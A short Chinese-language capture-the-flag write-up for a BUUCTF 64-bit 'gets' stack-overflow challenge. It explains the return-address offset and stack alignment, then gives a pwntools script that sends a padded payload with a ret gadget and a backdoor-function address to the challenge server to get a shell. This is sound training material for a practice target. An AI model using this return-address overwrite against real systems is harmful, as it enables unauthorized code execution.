Gets 栈溢出（堆栈平衡）

话不多说，直接上题（BUUCTF）

IDA64 反编译

去找后门函数

记录地址

缓冲区 s 存在明显栈溢出

15 + 8 覆盖掉这段地址到 r 返回地址中

64 位系统还需要保持一个栈平衡，需要找 lea 的地址或者该函数结束即 retn 的地址

当我们在堆栈中进行堆栈的操作的时候，一定要保证在 ret 这条指令之前

esp 指向的是我们压入栈中的地址，函数执行到 ret 执行之前，堆栈栈顶的地址一定要是 call 指令的下一个地址

编写脚本

from pwn import *

p = remote("node5.buuoj.cn", 26964)

payload = b'a' * 23 + p64(0x401198) + p64(0x401186)

p.sendline(payload)
p.interactive()

成功拿到 flag

版权声明 1、本站唯一名称： 侠者安全社区
2、本站永久网址：https://www.xiasec.com
3、本网站的文章部分内容可能来源于网络，仅供大家学习与参考，如有侵权，请联系站长VXfreek0x00进行删除处理。
4、本站一切资源不代表本站立场，并不代表本站赞同其观点和对其真实性负责。
5、本站一律禁止以任何方式发布或转载任何违法的相关信息，访客发现请向站长举报
6、本站资源大多存储在云盘，如发现链接失效，请联系我们我们会第一时间更新。

THE END

二进制安全
# #Pwn # #栈溢出